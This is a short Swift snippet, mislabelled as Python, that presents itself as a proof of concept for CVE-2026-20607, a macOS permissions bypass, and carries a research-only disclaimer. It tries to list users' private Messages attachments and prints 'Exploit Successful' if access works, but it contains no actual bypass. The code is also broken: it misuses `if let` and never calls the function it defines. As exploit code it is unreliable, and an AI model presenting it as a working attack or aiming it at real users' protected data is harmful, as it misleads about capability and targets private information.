The following code is for security research and authorized testing only.
python
// Conceptual PoC for CVE-2026-20607 (macOS Permissions Bypass)
// This Swift code demonstrates an attempt to access a protected user directory
// without proper entitlements, exploiting the permissions issue.
import Foundation
func attemptUnauthorizedAccess() {
// Targeting a sensitive directory often protected by macOS TCC (Transparency, Consent, and Control)
let sensitivePath = "~/Library/Messages/Attachments"
if let expandedPath = NSString(string: sensitivePath).expandingTildeInPath {
let fileManager = FileManager.default
var isDir: ObjCBool = false
if fileManager.fileExists(atPath: expandedPath, isDirectory: &isDir) {
do {
// Attempt to list contents of the protected directory
let contents = try fileManager.contentsOfDirectory(atPath: expandedPath)
print("[+] Exploit Successful: Accessed protected directory.")
print("[+] Found \(contents.count) items.")
} catch {
print("[-] Access Denied: \(error.localizedDescription)")
}
} else {
print("[-] Path not found.")
}
}
}
// Execute the PoC
